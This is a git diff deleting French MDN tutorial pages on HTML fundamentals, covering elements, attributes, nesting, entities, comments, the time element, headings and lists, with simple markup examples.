-
-<pre>$ <kbd>ping mozilla.org</kbd>
-<samp>PING mozilla.org (63.245.208.195) 56(84) bytes of data.
-64 bytes from mozilla.org (63.245.208.195): icmp_seq=1 ttl=46 time=191 ms</samp></pre>
-
- -

Ce code se présente ainsi :

- -

{{ EmbedLiveSample('Représentation_du_code_informatique','100%',300) }}

- -

Balisage des heures et dates

- -

HTML fournit également l'élément {{htmlelement("time")}}} pour marquer les heures et les dates dans un format lisible par machine. Par exemple :

- -
<time datetime="2016-01-20">20 janvier 2016</time>
- -

En quoi est-ce utile ? Eh bien, il y a beaucoup de façons différentes dont les humains écrivent les dates. La date ci-dessus pourrait s'écrire comme suit :

- - - -

Mais ces différents formes ne sont pas facilement reconnaissables par les ordinateurs — que se passerait‑il si vous vouliez saisir automatiquement les dates de tous les événements dans une page et les insérer dans un calendrier ? L'élément {{htmlelement("time")}}} vous permettra d'attacher un horodatage non ambigu lisible par machine à cette fin.

- -

L'exemple de base ci-dessus ne fournit qu'une simple date lisible par machine, mais il y a beaucoup d'autres options possibles, par exemple :

- -
<!-- Simple date standard -->
-<time datetime="2016-01-20">20 janvier 2016</time>
-<!-- Juste l'année et le mois -->
-<time datetime="2016-01">janvier 2016</time>
-<!-- Juste le mois et les jour -->
-<time datetime="01-20">20 janvier</time>
-<!-- Juste l'heure, heure et minutes -->
-<time datetime="19:30">19h30</time>
-<!-- Vous pouvez aussi mettre les secondes et les millisecondes ! -->
-<time datetime="19:30:01.856">19h30m1,856s</time>
-<!-- Date et heure -->
-<time datetime="2016-01-20T19:30">19h30, le 20 janvier 2016</time>
-<!-- Date et heure avec décalage de fuseau horaire -->
-<time datetime="2016-01-20T19:30+01:00">19h30, le 20 janvier 2016 corespond à 20h30 en France</time>
-<!-- Appel d'un numéro de semains donné -->
-<time datetime="2016-W04">La 4e semaine de 2016</time>
- -

Résumé

- - - -

Nous voici arrivés à la fin de notre étude de la sémantique des textes en HTML. N'oubliez pas que ce qui précède ne constitue pas la liste exhaustive des éléments texte en HTML — nous avons essayé de couvrir essentiellement les plus courants dans la nature ou du moins ceux que nous avons pensé intéressants. Pour en voir plus, jetez un coup d'oeil à notre Référence des éléments HTML (la section sémantique de texte en ligne serait un bon point de départ.) Dans l'article suivant, nous examinerons les éléments HTML à utiliser pour structurer les diverses parties d'un document HTML.

- -

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}}

- -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/getting_started/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/getting_started/index.html" deleted file mode 100644 index 7717eae9e1..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/getting_started/index.html" +++ /dev/null @@ -1,736 +0,0 @@ ---- -title: Commencer avec le HTML -slug: Apprendre/HTML/Introduction_à_HTML/Getting_started -tags: - - Attributs - - Codage - - Commentaires - - Débutant - - Elements - - Entités - - Guide - - HTML - - espace -translation_of: Learn/HTML/Introduction_to_HTML/Getting_started ---- -
{{LearnSidebar}}
- -
{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Cet article porte sur les fondements du HTML, pour prendre un bon départ — nous  définissons les éléments, les attributs et tout autre terme important que vous avez peut‑être entendu, ainsi que leur emplacement adéquat dans le langage. Nous montrons comment un élément HTML est structuré, comment une page HTML classique est structurée et expliquons les autres importants traits de base du langage. Dans ce parcours, nous jouons avec certains HTML pour exciter votre intérêt.

- - - - - - - - - - - - -
Prérequis :Notions sur le fonctionnement d'un ordinateur, avoir installé les logiciels de base et  savoir gérer les fichiers.
Objectif :Se familiariser avec le langage HTML et acquérir de la pratique en écrivant quelques éléments HTML.
- -

Qu'est ce que le HTML ?

- -

{{glossary("HTML")}} (HyperText Markup Language) n'est pas un langage de programmation : c'est un langage de balisage qui sert à indiquer au navigateur comment structurer les pages web visitées. Il peut être aussi compliqué ou aussi simple que le développeur web souhaite qu'il soit. Le HTML se compose d'une série d'{{glossary("Elément", "éléments")}} avec lesquels vous pouvez encadrer, envelopper ou baliser différentes parties du contenu pour les faire apparaître ou agir d'une certaine manière. Des {{glossary("balise", "balises")}} encadrantes peuvent transformer une petite partie de contenu en un lien vers une autre page sur le Web, mettre des mots en italique, etc. Par exemple, prenons la phrase suivante :

- -
Mon chat est très grincheux
- -

Si nous voulons que cette ligne reste en l'état, nous pouvons dire qu'il s'agit d'un paragraphe en l'enveloppant d'un élément paragraphe ({{htmlelement("p")}}) :

- -
<p>Mon chat est très grincheux</p>
- -
-

Note : Les éléments en HTML sont insensibles à la casse, c'est-à-dire qu'ils peuvent être écrits en majuscules ou en minuscules. Par exemple, un élément {{htmlelement("title")}}} peut être écrit <title>, <TITLE>, <Title>, <TiTlE>, etc. et il fonctionnera parfaitement. La meilleure pratique, cependant, est d'écrire tous les éléments en minuscules pour des raisons de cohérence, de lisibilité et autres.

-
- -

Anatomie d'un élément HTML

- -

Regardons notre élément paragraphe d'un peu plus près :

- -

- -

Les principales parties de notre élément sont :

- -
    -
  1. La balise ouvrante : il s'agit du nom de l'élément (dans ce cas, p), encadré par un chevron ouvrant (<) et un chevron fermant (>). Elle indique où l'élément commence ou commence à prendre effet — dans ce cas où commence le paragraphe ;
    2. -
  2. La balise fermante : c'est la même que la balise ouvrante, sauf qu'elle comprend une barre oblique (/) avant le nom de l'élément. Elle indique la fin de l'élément — dans ce cas, la fin du paragraphe. Ne pas inclure une balise de fermeture est une erreur fréquente chez les débutants, et peut amener des résultats étranges ;
    3. -
  3. Le contenu : il s'agit du contenu de l'élément. Dans notre cas, c'est simplement du texte ;
    4. -
  4. L'élément : l'ensemble balise ouvrante, balise fermante et contenu constituent l'élément.
    5. -
- -

Apprentissage actif : créer votre premier élément HTML

- -

Modifiez la ligne ci-dessous dans la Zone de saisie en la mettant entre les balises <em> et </em> (mettez <em> avant pour ouvrir l'élément et </em> après pour fermer l'élément) — cette opération doit mettre en relief la ligne en l'écrivant en italiques. Vous devriez constater la mise à jour de la modification directement dans la Zone de rendu.

- -

Si vous faites une erreur, vous pouvez toujours réinitialiser avec le bouton Réinitialiser. Si vous êtes vraiment coincé, appuyez sur le bouton Voir la solution pour la réponse.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 400, "", "","hide-codepen-jsfiddle")}}

- -

Eléments imbriqués

- -

Vous pouvez mettre des éléments à l'intérieur d'autres éléments — cela s'appelle l'imbrication. Si vous voulez affirmer que votre chat est très grincheux, vous pouvez mettre le mot « très » dans l'élément {{htmlelement("strong")}}, pour qu'il soit fortement mis en valeur :

- -
<p>Mon chat est <strong>très</strong> grincheux.</p>
- -

Vous devez toutefois vous assurer que vos éléments sont correctement imbriqués : dans l'exemple ci-dessus, nous avons ouvert l'élément p en premier, puis l'élément strong, donc nous devons fermer l'élément strong d'abord, puis l'élément p. Ce qui suit est incorrect :

- -
<p>Mon chat est <strong>très grincheux.</p></strong>
- -

Les éléments doivent être ouverts et fermés correctement afin d'être clairement à l'intérieur ou à l'extérieur l'un de l'autre. Si les balises se chevauchent comme dans l'exemple ci-dessus, votre navigateur web essaiera de deviner ce que vous vouliez dire, et vous pourrez obtenir des résultats inattendus. Autant éviter !

- -

Éléments bloc vs en ligne

- -

Il existe deux catégories importantes d'éléments en HTML que vous devez connaître : les éléments de niveau bloc et les éléments en ligne.

- - - -

Prenez l'exemple suivant :

- -
<em>premier</em><em>deuxième</em><em>troisième</em>
-
-<p>quatrième</p><p>cinquième</p><p>sixième</p>
-
- -

{{htmlelement("em")}} est un élément en ligne et, comme vous pouvez le voir ci-dessous, les trois premiers éléments s'affichent sur la même ligne sans qu'il n'y ait d'espace entre eux. Par contre, {{htmlelement("p")}} est un élément de niveau bloc, donc chaque élément apparaît sur une nouvelle ligne et un espace apparaît au-dessus et au-dessous de chacun d'eux (l'espacement est dû au style CSS par défaut du navigateur qui s'applique aux paragraphes).

- -

{{ EmbedLiveSample('Éléments_bloc_vs_en_ligne', 700, 200, "", "") }}

- -
-

Note : HTML5 a redéfini les catégories d'éléments dans HTML5 : voir catégories de contenu d'éléments. Bien que ces définitions soient plus précises et moins ambiguës que celles qui précèdent, elles sont beaucoup plus compliquées à comprendre que « block » et « inline ». Nous nous en tiendrons donc à cela tout au long de ce sujet.

-
- -
-

 Note : les termes « block » et « inline », tels qu'utilisés dans cet article, ne doivent pas être confondus avec les types de boîtes des CSS portant les mêmes noms. Alors qu'ils sont corrélés par défaut, modifier le type d'affichage des CSS ne modifie pas la catégorie d'un élément et n'affecte pas les éléments qu'il pourrait contenir ni ceux dans lequel il pourrait être contenu. Une des raisons pour lesquelles HTML5 a abandonné ces termes était d'éviter cette confusion assez courante.

-
- -
-

Note : Vous trouverez des pages de référence utiles incluant des listes d'éléments de niveau bloc et d'éléments en ligne.

-
- -

Éléments vides

- -

Tous les éléments ne suivent pas le modèle ci-dessus d'ouverture de balise, puis contenu, puis fermeture de balise. Certains éléments ne sont composés que d'une balise. Ils servent généralement à insérer / incorporer quelque chose dans le document à l'endroit où ils sont mis. Par exemple, l'élément <img /> ou {{htmlelement("img")}} insère une image dans une page à l'endroit où il est placé (la balise auto-fermante <img /> est à privilégier) :

- -
<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png" />
- -

Cela affichera l'élément suivant sur votre page :

- -

{{ EmbedLiveSample('Éléments_vides', 700, 300, "", "", "hide-codepen-jsfiddle") }}

- -

Attributs

- -

Les éléments peuvent aussi avoir des attributs, qui comme suit:

- -

&amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;lt;/p>

- -

Les attributs contiennent des informations supplémentaires sur l'élément sans qu'elles n'apparaissent dans le contenu réel. Dans ce cas, l'attribut class vous permet de donner à l'élément un nom d'identification qui peut ensuite être utilisé pour cibler l'élément afin de lui attribuer un style CSS ou un comportement particulier, par exemple.

- -

Pour créer un attribut, il faut :

- -
    -
  1. insérer un espace entre cet attribut et le nom de l'élément (ou l'attribut précédent, si l'élément possède déjà un ou plusieurs attributs) ;
    2. -
  2. donner un nom à l'attribut, puis ajouter un signe égal ;
    3. -
  3. donner une valeur à l'attribut, entourée par des guillemets d'ouverture et de fermeture.
    4. -
- -

Apprentissage actif : ajouter des attributs à un élément

- -

Un autre exemple d'un élément est {{htmlelement("a")}}. Il représente une ancre et permet de transformer en lien l'élément qu'il enveloppe. Il peut recevoir un certain nombre d'attributs, mais voici les deux principaux :

- - - -

Modifiez la ligne ci-dessous dans la Zone de saisie pour la transformer en lien vers votre site web préféré. Tout d'abord, ajoutez l'élément <a>, puis l'attribut href, puis l'attribut title. Vous pourrez voir la mise à jour de vos modifications en direct dans la Zone de rendu. Vous devriez voir un lien qui, lorsque vous passez votre pointeur de souris dessus, affiche le contenu de l'attribut title et, lorsque vous cliquez dessus, va à l'adresse web indiquée dans l'élément href. N'oubliez pas d'inclure un espace entre le nom de l'élément et chacun des attributs.

- -

Si vous faites une erreur, vous pouvez toujours réinitialiser la zone de saisie en cliquant sur le bouton Réinitialiser. Si vous êtes vraiment coincé, cliquez sur le bouton Voir la solution pour afficher la réponse.

- - - -

{{ EmbedLiveSample('Playable_code2', 700, 400,"","","hide-codepen-jsfiddle") }}

- -

Les attributs booléens

- -

Vous verrez parfois des attributs sans valeur définie : c'est tout à fait autorisé. Ils sont appelés attributs booléens ; ils ne peuvent avoir qu'une seule valeur, généralement la même que le nom de l'attribut. Par exemple, prenez l'attribut {{htmlattrxref ("disabled", "input")}}, que vous pouvez affecter aux éléments input (éléments de saisie d'un formulaire) si vous voulez les désactiver (ils seront alors grisés) afin que l'utilisateur ne puisse pas y saisir de données.

- -
<input type="text" disabled="disabled">
- -

Pour aller plus vite, il est parfaitement possible d'écrire cette même ligne de la façon suivante (nous avons également inclus un élément input non-désactivé pour référence, pour que vous puissiez vous faire une meilleure idée de ce qui se passe) :

- -
<input type="text" disabled>
-
-<input type="text">
-
- -

Ces deux exemples vous donneront le résultat suivant :

- -

{{ EmbedLiveSample('Les_attributs_booléens', 700, 100) }}

- -

Omettre des guillemets autour des valeurs d'attribut

- -

Si vous regardez ce qui se passe sur le Web, vous rencontrerez tous types de styles de balises étranges, y compris des valeurs d'attribut sans guillemets. C'est permis dans certaines circonstances, mais cela va briser votre balisage dans d'autres. Par exemple, si nous revisitons notre exemple de lien ci-dessus, nous pourrons écrire une version de base avec seulement l'attribut href, comme ceci :

- -
<a href=https://www.mozilla.org/>mon site web favori</a>
- -

Cependant, si nous ajoutons l'attribut title dans ce même style, cela devient incorrect :

- -
<a href=https://www.mozilla.org/ title=La page d\'accueil Mozilla >mon site web favori</a>
- -

En effet, le navigateur interprétera mal la balise, pensant que l'attribut title est en fait quatre attributs — un attribut title avec la valeur « La » et trois attributs booléens, « page », « d\'accueil » et « Mozilla ». Ce n'est évidemment pas ce qui était prévu et cela provoquera des erreurs ou un comportement inattendu dans le code, comme on le voit dans l'exemple en direct ci-dessous. Essayez de passer la souris sur le lien pour voir ce que le texte de title donne.

- -

{{ EmbedLiveSample('Omettre_des_guillemets_autour_des_valeurs_d\'attribut', 700, 100, "", "", "hide-codepen-jsfiddle") }}

- -

Nous vous recommandons de toujours inclure les guillemets afin d'éviter ce type de problèmes, mais aussi pour que le code soit plus lisible.

- -

Guillemets simples ou doubles ?

- -

Dans cet article, vous remarquerez que les valeurs des attributs sont toutes entre des guillemets doubles (" "). Vous pouvez cependant voir des guillemets simples (' ') dans le code HTML de certaines personnes. C'est purement une question de style, et vous êtes libre de choisir la solution que vous préférez. Les deux lignes suivantes sont équivalentes :

- -
<a href="http://www.exemple.com">Un lien vers mon exemple.</a>
-
-<a href='http://www.example.com'>Un lien vers mon exemple</a>
- -

Vous devez cependant vous assurer de ne pas les mélanger. Ce qui suit n'est pas correct :

- -
<a href="http://www.exemple.com'>Un lien vers mon exemple.</a>
- -

Si vous avez utilisé un type de guillemets dans votre code HTML, vous pouvez imbriquer l'autre type :

- -
<a href="http://www.exemple.com" title="N'est-ce pas drôle ?">Un lien vers mon exemple.</a>
- -

Si vous souhaitez imbriquer le même type de guillemets, vous devez utiliser une entité HTML pour représenter ce caractère spécial.

- -

Anatomie d'un document HTML

- -

Les éléments HTML basiques ne sont pas très utiles si on les prend séparément. Nous allons voir comment combiner des éléments individuels pour former une page HTML entière :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>Ma page test</title>
-  </head>
-  <body>
-    <p>Voici ma page web</p>
-  </body>
-</html>
- -

Ici, nous avons :

- -
    -
  1. <!DOCTYPE html> : le type de document. Quand HTML était jeune (vers 1991/2), les doctypes  étaient censés agir comme des liens vers un ensemble de règles que la page HTML devait suivre pour être considérée comme un bon HTML, ce qui pouvait signifier la vérification automatique des erreurs et d'autres choses utiles. Habituellement, ils ressemblaient à ceci : - - 
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    - Cependant, de nos jours personne ne se soucie vraiment d'eux, et ils sont juste un artefact historique qui doit être inclus pour que tout fonctionne bien. <!DOCTYPE html> est la chaîne de caractères la plus courte qui soit un doctype valide. C'est tout ce que vous avez vraiment besoin de savoir.
    2. -
  2. <html></html> : l'élément <html>. Cet élément est le contenant de tout le code de la page et est parfois connu comme l'élément racine.
    3. -
  3. <head></head> : l'élément <head>. Cet élément a le rôle de conteneur pour toute chose que vous souhaitez inclure dans la page HTML qui ne soit pas du contenu à afficher aux visiteurs de la page :  mots clés, description de page que vous souhaitez voir apparaître dans les résultats de recherche, style CSS, déclarations de jeu de caractères et plus encore. Nous vous en dirons plus à ce sujet dans l'article suivant de la série.
    4. -
  4. <meta charset="utf-8"> : cet élément définit que le jeu de caractères à utiliser pour votre document est UTF-8. Ce jeu comporte la quasi‑totalité des caractères de toutes les écritures de langues humaines connues. Actuellement, il peut pour l'essentiel gérer tout contenu textuel que vous y pourriez mettre. Il n'y a aucune raison de ne pas définir cela et il peut permettre d'éviter certains problèmes plus tard. 
    5. -
  5. <title></title> : l'élément title. Il définit le titre de la page, celui qui s'affiche dans l'onglet du navigateur dans lequel la page est chargée et qui est utilisé pour décrire la page lorsque vous la marquez ou l'ajoutez aux favoris. 
    6. -
  6. <body></body> : l'élément <body>. Il contient tout le contenu que vous souhaitez afficher aux internautes lorsqu'ils visitent votre page, que ce soit du texte, des images, des vidéos, des jeux, des pistes audio jouables ou autre.
    7. -
- -

Apprentissage actif : ajouter certaines fonctionnalités à un document HTML

- -

Si vous voulez essayer d'écrire du HTML sur votre ordinateur en local, vous pouvez :

- -
    -
  1. copier l'exemple de page HTML ci-dessus.
    2. -
  2. créer un nouveau fichier dans votre éditeur de texte.
    3. -
  3. coller le code dans le nouveau fichier texte.
    4. -
  4. enregistrer le fichier sous index.html.
    5. -
- -
-

Note: Vous pouvez également trouver ce modèle HTML dans le dépôt GitHub MDN Learning Area.

-
- -

Vous pouvez maintenant ouvrir ce fichier dans un navigateur Web pour voir à quoi ressemble le rendu, puis modifier le code et actualiser le navigateur pour voir le résultat. Initialement, il ressemblera à ceci:

- -

Une simple page HTML affichant Voici ma pageDans cet exercice, vous pouvez modifier le code sur votre ordinateur, comme indiqué ci-dessus, ou directement dans la fenêtre d'exemple modifiable ci-dessous (la fenêtre d'exemple modifiable représente uniquement le contenu de l'élément <body>. ) Nous aimerions que vous le fassiez en suivant les étapes suivantes :

- - - -

Si vous faites une erreur, vous pouvez toujours recommencer en utilisant le bouton Réinitialiser. Si vous êtes vraiment coincé, appuyez sur le bouton Voir la solution pour l'afficher.

- - - -

{{ EmbedLiveSample('Playable_code3', 700, 600, "", "", "hide-codepen-jsfiddle") }}

- -

Espace vide en HTML

- -

Dans les exemples ci-dessus, vous avez peut-être remarqué que beaucoup d'espaces sont inclus dans le code — ce n'est pas nécessaire du tout. Les deux extraits de code suivants sont équivalents:

- -
<p>Les chiens sont idiots.</p>
-
-<p>Les chiens        sont
-           idiots.</p>
- -

Peu importe la quantité d'espace que vous utilisez (pour inclure des espaces, ou aussi des sauts de ligne), l'analyseur HTML réduit chacun à un seul espace lors du rendu du code. Alors, pourquoi utiliser autant d'espace blanc? La réponse est la lisibilité — car il est tellement plus facile de comprendre ce qui se passe dans votre code si vous l'avez bien formaté, et non pas simplement l'écrire dans un grand désordre. Dans notre HTML, nous avons chaque élément imbriqué indenté par deux espaces plus que celui qui le contient. C'est à vous de choisir le style de formatage que vous utilisez (combien d'espaces pour chaque niveau d'indentation, par exemple), mais vous devriez envisager d'utiliser une sorte de formatage.

- -

Références d'entités : inclure les caractères spéciaux en HTML

- -

En HTML, les caractères <, >,",' et & sont des caractères spéciaux. Ils font partie de la syntaxe HTML elle-même, alors comment inclure un de ces caractères dans du texte, par exemple si vous voulez vraiment utiliser une esperluette(&) ou un signe inférieur(<), qui ne soit pas interpré en tant que code comme les navigateurs pourraient le faire ?

- -

Nous devons utiliser les références des caractères — codes spéciaux qui représentent des caractères et peuvent être utilisés dans ces circonstances exactes. Chaque référence de caractère est démarrée avec une esperluette (&), et se termine par un point-virgule (;).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Le caractèreRéference équivalent
<&lt;
>&gt;
"&quot;
'&apos;
&&amp;
- -

Dans l'exemple ci-dessous, voici deux paragraphes parlant de techniques Web :

- -
<p>En HTML, un paragraphe se définit avec l'élément <p>.</p>
-
-<p>En HTML, un paragraphe se définit avec l'élément &lt;p&gt;.</p>
- -

Dans la zone de rendu en direct ci-dessous, vous pouvez voir que le premier paragraphe n'est pas correctement affiché : le navigateur interprète le second <p> comme le début d'un nouveau paragraphe ! Le deuxième paragraphe est bien affiché, car nous avons remplacé les  signes inférieur(<)  et supérieur(>) par leurs références de caractère.

- -

{{ EmbedLiveSample('Références_d\'entités_inclure_les_caractères_spéciaux_en_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}

- -
-

Note: Un graphique de toutes les références d'entité de caractères HTML est disponible sur Wikipedia : Liste des entités caractère de XML et HTML.

-
- -

Commentaires en HTML

- -

En HTML, comme pour la plupart des langages de programmation, il existe un mécanisme permettant d'écrire des commentaires dans le code. Les commentaires sont ignorés par le navigateur et invisibles à l'utilisateur. Leur but est de permettre d'inclure des commentaires dans le code pour dire comment il fonctionne, que font les diverses  parties du code, etc. Cela peut s'avérer très utile si vous revenez à un codage que vous n'avez pas travaillé depuis 6 mois et que vous ne pouvez pas vous rappeler ce que vous avez fait — ou si vous donnez votre code à quelqu'un d'autre pour qu'il y travaille.

- -

Pour transformer une section de contenu dans votre fichier HTML en commentaire, vous devez la mettre dans les marqueurs spéciaux <!-- et-->, par exemple :

- -
<p>Je ne suis pas dans un commentaire</p>
-
-<!-- <p>Je suis dans un commmentaire!</p> -->
- -

Comme vous pouvez le voir ci-dessous, le premier paragraphe apparaît dans le rendu de l'éditeur en ligne, mais le second n'apparaît pas.

- -

{{ EmbedLiveSample('Commentaires_en_HTML', 700, 100, "", "", "hide-codepen-jsfiddle") }}

- -

Résumé

- -

Vous avez atteint la fin de l'article — nous espérons que vous avez apprécié de faire le tour des bases du HTML ! À ce stade, vous devez comprendre à quoi ce langage ressemble, comment il fonctionne à un niveau de base, et être en mesure d'écrire quelques éléments et attributs. C'est parfait pour le moment, car dans les articles suivants, nous allons approfondir certaines des choses que vous venez de voir, et introduire de nouveaux aspects du langage. Restez à l'écoute !

- -
-

Note: À ce stade, lorsque vous commencez à en apprendre davantage sur le langage HTML, vous pouvez également commencer à explorer les bases des feuilles de style CSS. CSS est le langage utilisé pour composer vos pages Web (par exemple, changer la police ou les couleurs, ou modifier la mise en page). HTML et CSS vont très bien ensemble, comme vous allez bientôt le découvrir.

-
- -

Voir aussi

- - - -
{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}}
- -

Dans ce module

- - diff --git "a/files/fr/apprendre/html/introduction_\303\240_html/html_text_fundamentals/index.html" "b/files/fr/apprendre/html/introduction_\303\240_html/html_text_fundamentals/index.html" deleted file mode 100644 index 7065cb861e..0000000000 --- "a/files/fr/apprendre/html/introduction_\303\240_html/html_text_fundamentals/index.html" +++ /dev/null @@ -1,979 +0,0 @@ ---- -title: Fondamentaux du texte HTML -slug: Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals -tags: - - Apprendre - - Débutant - - Guide - - HTML - - Introduction à l'HTML - - Listes - - Paragraphes - - Texte - - Titres - - sémantique -translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}
- -

L'un des principaux buts de HTML est de structurer du texte et lui donner du sens (ce que l'on appelle la {{glossary("sémantique")}}) afin que le navigateur puisse l'afficher correctement. Cet article explique comment {{glossary("HTML")}} peut être utilisé pour structurer une page en ajoutant des titres et des paragraphes, en marquant des emphases, en créant des listes, et bien plus encore.

- - - - - - - - - - - - -
Pré-requis: -

Connaître les bases du langage HTML, telles que traitées à la page Commencer avec le HTML.

-
Objectif: -

Apprendre comment ajouter des balises dans une page de texte simple pour la structurer et lui donner du sens — en incluant des paragraphes, des titres, des listes, des emphases et des citations.

-
- -

Les bases : titres et paragraphes

- -

La plupart des textes structurés comprennent des titres et des paragraphes, que ce soit dans les romans, les journaux, les livres scolaires, les magazines, etc.

- -

An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs.

- -

Le contenu structuré facilite la lecture et la rend plus agréable.

- -

En HTML, les paragraphes doivent être contenus dans un élément {{htmlelement("p")}}, comme ceci :

- -
<p>Je suis un paragraphe, oh oui je le suis.</p>
- -

Chaque titre doit être contenu dans un élément titre :

- -
<h1>Je suis le titre de l'histoire.</h1>
- -

Il y a 6 éléments de titre — {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, et {{htmlelement("h6")}}. Chaque élément représente un niveau de titre différent ; <h1> représente le titre principal, <h2> représente un sous-titre, <h3> représente un sous-sous-titre, et ainsi de suite jusqu'au niveau de titre le plus bas qui correspond à <h6>.

- -

Implémentation de la hiérarchie structurale

- -

Dans une histoire, la balise <h1> représenterait le titre de l'histoire, les balises <h2> représenteraient les titres des chapitres, les balises <h3> les sous-sections des chapitres, en poursuivant ainsi jusqu'à la balise <h6>.

- -
<h1>L'ennui mortel</h1>
-
-<p>par Chris Mills</p>
-
-<h2>Chapitre I : La nuit noire</h2>
-
-<p>Il faisait nuit noire. Quelque part une chouette ululait. La pluie tombait sur ...</p>
-
-<h2>Chapitre II : Le silence éternel</h2>
-
-<p>Notre protagoniste ne pouvait même pas murmurer à l'ombre de la silhouette...</p>
-
-<h3>Le spectre parle</h3>
-
-<p>Plusieurs heures s'étaient écoulées, quand soudain le spectre assis se releva et s'exclama : « S'il vous plaît, ayez pitié de mon âme ! »...</p>
- -

C'est vous qui décidez ce que représentent les éléments utilisés tant que la hiérarchie a du sens. Vous devez cependant garder à l'esprit quelques bonnes pratiques lorsque vous créez de telles structures :

- - - -

Pourquoi  faut-il structurer un document ?

- -

Pour répondre à cette question, regardons la page text-start.html — le point de départ de l'exemple que nous allons utiliser dans cet article (une recette). Enregistrez une copie de ce fichier sur votre ordinateur car vous en aurez besoin pour les exercices qui vont suivre. Le corps de ce document contient plusieurs parties sans aucune balise ; elles sont seulement séparées par des retours chariots (obtenus en pressant la touche Entrée ou ⏎)

- -

Cependant, si l'on ouvre ce document dans un navigateur, il sera affiché sous forme d'un gros bloc de texte !

- -

Une page Web qui montre un mur de texte non formaté, parce qu'il n'y a pas d'éléments sur la page pour la structurer.

- -

Ceci est dû au fait qu'il n'y a aucun élément indiquant la structure du contenu, et donc le navigateur ne sait pas différencier ce qui est un titre d'un paragraphe. De plus :

- - - -

Il est donc nécessaire d'ajouter des balises de structuration du contenu.

- -

Apprentissage actif : structurer le contenu

- -

Dans l'exemple ci-dessous, ajoutez des balises dans le texte de la zone Code modifiable afin qu'il fasse apparaître un titre et deux paragraphes dans le champ Sortie directe.

- -

Si vous faites une erreur, vous pouvez recommencer en appuyant sur le bouton Réinitialiser. Si vous êtes bloqués, appuyez sur le bouton Voir la solution pour afficher la réponse.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 370) }}

- -

Pourquoi a-t-on besoin de sémantique ?

- -

La sémantique est utilisée partout autour de nous — on se fie à nos précédentes experiences pour savoir à quoi servent les objets du quotidien; quand on voit quelque chose, on sait à quoi cela sert. Par exemple, on s'attend à ce qu'un feu rouge de signalisation signifie « Stop » et qu'un feu vert signifie « Avancez ». Les choses peuvent vite devenir plus compliquées si de mauvaises sémantiques sont appliquées (existe-t-il un pays dans lequel un feu rouge signifie que l'on peut passer ? Je ne l'espère pas.)

- -

Dans la même optique, il faut s'assurer que l'on utilise les bons élements et que l'on donne la bonne signification, la bonne fonction et la bonne apparence à notre contenu. Dans ce contexte, l'élément {{htmlelement("h1")}} est aussi un élement sémantique. Il donne au texte auquel il s'applique la fonction (ou la signification) de « titre principal de la page ».

- -
<h1>Ceci est un titre principal</h1>
- -

Par défaut, le navigateur l'affiche avec une police de caractères de grande taille pour qu'il ait l'apparence d'un titre (même si vous pourriez lui donner l'apparence de n'importe quel élément avec le CSS). Plus important encore, sa valeur sémantique est utilisée de différentes manières, notamment par les moteurs de recherche ou les lecteurs d'écran (comme expliqué plus haut).

- -

D'autre part, vous pouvez faire ressembler n'importe quel élément à un titre principal. Par exemple :

- -
<span style="font-size: 32px; margin: 21px 0;">Est-ce un titre principal?</span>
- -

C'est un élément {{htmlelement("span")}}. Il n'a pas de valeur sémantique. Il s'utilise autour d'un contenu auquel vous souhaitez appliquer un style CSS (ou le modifier avec du JavaScript) sans lui donner une signification supplémentaire (vous en apprendrez plus à ce propos plus loin dans ce cours). Nous lui avons appliqué du CSS pour qu'il ressemble à un titre principal, mais comme il n'a pas de valeur sémantique, il ne bénéficie d'aucune des valeurs sémantiques décrites plus haut. Il est conseillé d'utiliser des éléments HTML adaptés à leur rôle.

- -

Listes

- -

Intéressons-nous maintenant aux listes. Il y a des listes partout dans la vie — de la liste de courses à la liste de directions que vous suivez inconsciemment pour rentrer chez vous tous les jours,  sans oublier la liste des instructions que vous suivez dans ce tutoriel ! Les listes sont aussi très répandues sur le Web, nous allons nous intéresser aux trois différents types de liste.

- -

Listes non-ordonnées

- -

Les listes non-ordonnées sont utilisées pour représenter des listes d'éléments pour lesquelles l'ordre n'a pas d'importance. Prenons par exemple une liste de courses :

- -
lait
-œufs
-pain
-houmous
- -

Les listes non-ordonnées débutent par un élément {{htmlelement("ul")}} (unorderd list) qui enveloppe tous les éléments de la liste:

- -
<ul>
-lait
-œufs
-pain
-houmous
-</ul>
- -

Chaque item est contenu dans un élément {{htmlelement("li")}} (list item):

- -
<ul>
-  <li>lait</li>
-  <li>œufs</li>
-  <li>pain</li>
-  <li>houmous</li>
-</ul>
- -

Apprentissage actif : mettre des balises à une liste non-ordonnée

- -

Modifiez l'exemple ci-dessous pour créer votre propre liste HTML non-ordonnée.

- - - -

{{ EmbedLiveSample('Playable_code_2', 700, 400) }}

- -

Listes ordonnées

- -

Les listes ordonnées permettent de représenter des listes dans lesquelles l'ordre des éléments a de l'importance — prenons par exemple une série de directions à suivre:

- -
Roulez jusqu'au bout de la route
-Tournez à droite
-Allez tout droit aux deux premiers ronds-points
